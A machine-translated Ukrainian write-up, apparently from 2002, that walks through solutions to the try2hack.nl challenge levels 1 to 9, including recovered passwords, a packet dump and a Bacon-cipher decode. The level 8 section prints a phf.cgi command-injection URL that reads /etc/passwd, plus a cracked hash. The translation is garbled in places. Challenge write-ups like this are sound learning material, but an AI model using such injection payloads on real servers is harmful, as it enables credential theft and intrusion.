This page has been robot translated, sorry for typos if any. Original content here.

Мережеві скорочення


Кілька днів назад (13.06.02), якийсь кекс кинув мені на аську урл http://www.try2hack.nl/level1.html , мовляв перевір свої сили. Зізнаюся, кожне завдання на цьому сайті було по-своєму складна, але, в той бла бла час, цікаве. Всім, хто ніяк не проходив це тестування, наполегливо рекомендую спробувати. Ну однак ті, хто вже спробував благополуччя також ніяк не дійшов аж до 10-го завдання, читати цю статтю =)
Ну що ж, приступимо. Разом скажу, що опишу рішення струму до головних 9-ми завдань, детально буду стати тільки на саме складних також цікавих.

# 1.

Елементарно. Ось сурс на js перевірки пароля:
  <SCRIPT LANGUAGE = "JavaScript">
 function Try (passwd) {
 if (passwd == "hackerzzz") {
 alert ( "Alright! On to level 2 ...");
 location.href = "levvel2.html";
 }
 else {
 alert ( "The password is incorrect. Please Do not Try Again.");
 location.href = "http://www.disney.com";
 };
 }
 </ SCRIPT> 
У третьому рядку введене значення звіряється зі словом "hackerzzz", яке в даному випадку грає роль пароля.

# 2.

Зізнаюся, на головний погляд, завдання здалося мені складним. Я помилився =)
Заливають собі флешку, розкриваємо її блокнотом (можна hex-редактором) і в самому низу (адреси 00000440-00000490) бачимо:
txtUsername ...... Try2Hack.I .... txtPassword ...... NokiaIsGood.I .......... LLeVeLL3.html
Логін Try2Hack
пароль NokiaIsGood
Слід. завдання LLeVeLL3.html

# 3.

Дуже дотепне також цікаве завдання.
Ось исходник js'a:
  <SCRIPT language = "JavaScript">
 pwd = prompt ( "Please enter the password for level 3:", "");
 if (pwd == PASSWORD) {
 alert ( "Alright! \ nEntering Level 4 ...");
 location.href = CORRECTSITE;
 } else
 {
 alert ( "WRONG! \ nBack to disneyland !!!");
 location.href = WRONGSITE;
 }
 PASSWORD = "AbCdE";
 CORRECTSITE = "level4.html";
 WRONGSITE = "http://www.disney.com";
 </ SCRIPT> 
Здавалося б, пароль "AbCdE", але як бла бла він може працювати, якщо він визначається в кінці? Однак, змінна PASSWORD на момент перевірки чомусь була вже визначена, іншим чином інтерпритатор видав би похибка "PASSWORD: визначення відсутнє". Додатково тільки через 20 хв. роздумів, в ока кинулася рядок:
<SCRIPT src = "JavaScript"> </ SCRIPT>
Ніяк ніяк не міг подумати, що "JavaScript" це файл =))) В ньому як одного разу також лежали справжні значення змінних:
PASSWORD = "TheCorrectAnswer";
CORRECTSITE = "thelevel4.html";
WRONGSITE = "http://www.disney.com";

# 4.

Колупаючи аплет, турбота залучили рядки за адресою 00000A60-00000A80. Аплет читав рядки з файлу * level4 * (в наслідок дізасменний сурс це підтвердив). Швидше за все, це був файл паролів. Найцікавіше, що він продовжував це діяти з мого гвинта. Те їсти, файло * level4 * було або в інеті, або на моєму комп'ютері. А якщо на моєму, то в якому місці? Правильно, або в cookie, або в Temp'ах. Почистивши також ті, також інші, ми зайшов на сторінку з апплетом. У темпах з'явилося пара файлу, один з яких був level4 [2] .txt.
вміст:
5_level_5.html
Try2Hack
AppletsAreEasy
Кстать, всередині аплета для відводу око було ось що: "txtUsername = AlmostAHacker ..... txtPassword = ZqrE01A2d" Хітрооо =)
/ * Gr33tz 2 godson * /

# 5.

Пропонується скачати файло level5.exe. У ньому потрібно ввести логін і пароль, які очевидно зберігалися в самому файлі. Відкривши його hex'ом в ока впало:
http: //www.try2hack.f2s.com/login-level6.html ..... txtUsername = AlmostAHacker ..... txtPassword = ZqrE01A2d
Адресa: 000019F0-00001A50.
Занадто легко, думав я. Додатково правильно, паролі ніяк не підійшли. Далі на підмога прийшов дизассемблер =):
Логін Try2Hack
пароль OutOfInspiration
Слід. завдання level-6.html
/ * Gr33tz 2 a3oX =) * /

# 6.

Дуже заплутана завдання. Знову бла бла пропонується завантажити програму, яка на твоїх очах підключається до сервера також перевіряє твої введені дані на валідність. На цей раз творці чесно попереджають: "this is not level 5, you can not decompile this exe's".
На підмога прийшов сниффер SpyNet. Не буду описувати, як ми че робив (окрема стаття потрібна), викладу лише тільки цікавий для нас пакет:
  0000: 44 45 53 54 00 00 20 53 52 43 00 00 08 00 45 00 DEST .. SRC .... E.
 0010: 02 40 5F 78 40 00 71 06 14 E0 D5 13 8C 02 C2 57. @ _ X @ .q ........ W
 0020: 6F F2 00 50 04 AE EC 04 FD 8C 1A 9A 11 B0 50 10 o..P .......... P.
 0030: 40 7C AE D3 00 00 48 54 54 50 2F 31 2E 31 20 32 @ | .... HTTP / 1.1 2
 0040: 30 30 20 4F 4B 0D 0A 44 61 74 65 3A 20 53 75 6E 00 OK..Date: Sun
 0050: 2C 20 31 34 20 41 70 72 20 32 30 30 32 20 31 38, 14 Apr 2002 18
 0060: 3A 32 32 3A 35 35 20 47 4D 54 0D 0A 53 65 72 76: 22: 55 GMT..Serv
 0070: 65 72 3A 20 41 70 61 63 68 65 0D 0A 43 61 63 68 er: Apache..Cach
 0080: 65 2D 43 6F 6E 74 72 6F 6C 3A 20 6D 61 78 2D 61 e-Control: max-a
 0090: 67 65 3D 36 30 34 38 30 30 0D 0A 45 78 70 69 72 ge = 604800..Expir
 00A0: 65 73 3A 20 53 75 6E 2C 20 32 31 20 41 70 72 20 es: Sun, 21 Apr 
 00B0: 32 30 30 32 20 31 38 3A 32 32 3A 35 35 20 47 4D 2002 18:22:55 GM
 00C0: 54 0D 0A 4C 61 73 74 2D 4D 6F 64 69 66 69 65 64 T..Last-Modified
 00D0: 3A 20 57 65 64 2C 20 31 38 20 41 70 72 20 32 30: Wed, 18 Apr 20
 00E0: 30 31 20 31 35 3A 32 38 3A 30 30 20 47 4D 54 0D 01 15:28:00 GMT.
 00F0: 0A 45 54 61 67 3A 20 22 30 2D 63 63 2D 33 61 64 .ETag: "0-cc-3ad
 0100: 64 62 32 38 30 22 0D 0A 41 63 63 65 70 74 2D 52 db280 ".. Accept-R
 0110: 61 6E 67 65 73 3A 20 62 79 74 65 73 0D 0A 43 6F anges: bytes..Co
 0120: 6E 74 65 6E 74 2D 4C 65 6E 67 74 68 3A 20 32 30 ntent-Length: 20
 0130: 34 0D 0A 4B 65 65 70 2D 41 6C 69 76 65 3A 20 74 4..Keep-Alive: t
 0140: 69 6D 65 6F 75 74 3D 31 35 2C 20 6D 61 78 3D 31 imeout = 15, max = 1
 0150: 30 30 0D 0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20 00..Connection: 
 0160: 4B 65 65 70 2D 41 6C 69 76 65 0D 0A 43 6F 6E 74 Keep-Alive..Cont
 0170: 65 6E 74 2D 54 79 70 65 3A 20 74 65 78 74 2F 70 ent-Type: text / p
 0180: 6C 61 69 6E 0D 0A 0D 0A 00 28 45 4E 43 52 59 50 lain ..... (ENCRYP
 0190: 54 49 4F 4E 20 54 59 50 45 29 0D 0A 42 2A 43 2A TION TYPE) .. B * C *
 01A0: 4E 2A 2A 4E 0D 0A 0D 0A 28 55 53 45 52 4E 41 4D N ** N .... (USERNAM
 01B0: 45 29 0D 0A 61 62 61 62 61 20 61 62 62 61 62 20 E) .. ababa abbab 
 01C0: 62 61 61 61 61 20 61 61 61 62 62 0D 0A 0D 0A 28 baaaa aaabb .... (
 01D0: 50 41 53 53 57 4F 52 44 29 0D 0A 61 62 61 62 61 PASSWORD) .. ababa
 01E0: 20 61 61 61 61 61 20 61 62 62 61 61 20 61 62 62 aaaaa abbaa abb
 01F0: 62 61 20 61 61 61 61 61 20 62 61 61 61 61 20 62 ba aaaaa baaaa b
 0200: 61 61 62 61 20 62 61 62 62 61 0D 0A 0D 0A 28 50 aaba babba .... (P
 0210: 41 47 45 29 0D 0A 61 62 61 62 61 20 61 61 62 61 AGE) .. ababa aaba
 0220: 61 20 62 61 61 62 62 20 61 61 62 61 61 20 61 62 a baabb aabaa ab
 0230: 61 62 61 20 62 61 61 61 62 20 61 61 62 61 61 20 aba baaab aabaa 
 0240: 62 61 61 62 62 20 61 61 62 61 61 20 61 62 baabb aabaa ab
Трохи обрізаний (ви спробуйте намано скопіювати з SpyNet'a), але основна частка (пароль, логін, сторінка) видно добре. Здавалося б, заняття зроблено, аж ні. Всі дані були зашифровані: - /
(USERNAME) .. ababa abbab baaaa aaabb ....
(PASSWORD) .. ababa aaaaa abbaa abbba aaaaa baaaa baaba babba ....
Я взяв JohnTheRipper'a також почав перебір ... жарт =)) Це був алгоритм Бекона. Сповна елeментарний алгоритм, навіть ніяк НЕ шифрування, однак кодування:
aaaaa = a
aaaab = b
aaaba = c
aaabb = d
і т.п.
Результатом ручного декодування було:
Логін LORD
пас LANPARTY
сторінка LEVELSEVEN.html
Вивчайте інформатику, діти =)
/ * Gr33tz 2 D4rkGr3y;) * /

# 7.

Дан примхливий перл скрипт level7.pl. Завдання: змусити його повірити, що:
1) сторінка, з якої ми потрапили на сайт: http://www.microsoft.com/ms.htm
2) ми використовуємо браузером Microsoft Internet Explorer 6.72
3) операційна система UNIX / LINUX
Взагалі завдання легке, нам потрібно просто згенерувати такий http запит, в заголовку якого стане містяться дана інформація. Тобто:
Referer: http://www.microsoft.com/ms.htm
User-agent: MSIE 6.72
А ось з віссю маленька проблема. У заголовку, поля, в якому явно вказується різновид операційної системи, немає. Вона зазвичай витягується з User-agent. Сподіватимемося, що level7.pl діє саме так, ми накидав перл скриптик, який послав ось такий запит:
GET /cgi-bin/level7.pl HTTP / 1.0
Referer: http://www.microsoft.com/ms.htm
User-Agent: MSIE 6.72 (UNIX / LINUX)
Accept: * / *

І опаа =)
<A HREF="../Level-8.html"> Level 8 </A>

# 8.

Відразу привернуло назву обробного скрипта phf.cgi. Пам'ятається, чимало зломів було на його совісті. Поганявши по баг-траку, знайшов сплойт:
/cgi-bin/phf.pp?Qalias=x%0a/bin/cat%20/etc/passwd
Відповідь була:
BuiZe: Bu3kOx4cCMX2U
Пароль зашифрований звичайним DES'ом. JTR'у знадобилося 15 хв., Щоб дізнатися pas. Який, поширюватися, мабуть, ніяк не буду, кому треба - розшифрують =)

# 9.

На сторінці з завданням красується напис:
New message for BuiZe:

Level 8 completed!
Go to irc. <*>. Org and join # <*>
There type / msg <*> begin

Іншими словами, поле бою переноситься на ІРК. Назва сервера, каналу також бота ми приховав зі зрозумілих (сподіваюся всім) причин.

# 9.

складається з безлічі міні-завдань.
Заходимо до них на канал # Try2Hack.
Пишемо "/ msg Try2Hack perfect-start"
ну також що бла бла він нам видасть? а ось що:
-TRY2HACK- Welcome to try2hack level 9! Decode the following lines to continue:
-TRY2HACK- Wbva # gel2unpx.yriry9. Gb trg gur xrl lbh arrq gb qrpbqr gur sbyybjvat yvar:
-TRY2HACK- GTI2MJj5YJ15DxVmERy1rQIZ =
-TRY2HACK- Tbbq yhpx, naq frr lbh ba # gel2unpx.yriry9.
разшіфруйте самі ... слабо? ну тоді ми вас знущатися Ніяк не буду лізь:
http://www.degraeve.com/cgi-bin/rot13.cgi
ось ми також разшіфровалі також що бла бла у нас вийшло:
Join # try2hack.level9. To get the key you need to decode the following line:
TGV2ZWw5LW15QkIzREl1eDVM =
Good luck, and see you on # try2hack.level9.
у нас починається паніка також ми не знаємо. що за ?
TGV2ZWw5LW15QkIzREl1eDVM =
хмм з головного погляду мені здалося ето все складно але ми згадав, МИРКОВСЬКИЙ скрипти пишемо / echo $ decode (TGV2ZWw5LW15QkIzREl1eDVM =, m) також ми получяем Level9-myBB3DIux5L ето стане у нас кей, заходимо в канал також нам вибиває нотис
-LEVEL9-XXX- Welcome, I am try2hack Level9! Decode the following line to proceed:
-LEVEL9-XXX- 010011100110100101100011011001010010000001101010011011 ...
старий добродушний binary ... якщо знехотя разшіфровать в ручну ну чтож
http://www.nickciske.com/binary/index.php
ми отримаємо "Nice job. Now type '/ msg TRY2HACK showbug' to see the bug"
ну пишемо / msg TRY2HACK showbug також він нам ілюструє баг такої
-TRY2HACK- ovaq pgpe - CVAT pgpe: cvatercyl
-TRY2HACK- cebp pgpe: cvatercyl {avpx hubfg unaq qrfg xrl net} {
-TRY2HACK- frg qhe [rkce [havkgvzr] - $ net]
-TRY2HACK- chgfrei "ABGVPR $ avpx: Lbhe cvat ercyl gbbx $ qhe frpbaqf"}
Ооо немає знову він зашіврован ну ми знову скористаємося разшівровщіком лінк вище хто забув%) ... разшіфровалі .... А ось також баг ... ми на етом приміщенні також підсів якщо хто зробить скинте мило на neon@balticum-tv.lt .
За рішення дев'ятого завдання дякуємо NeoN'a =)

Автор: D4rkGr3y


Матеріал публікується з дозволу DHGROUP (http://www.dhgroup.org)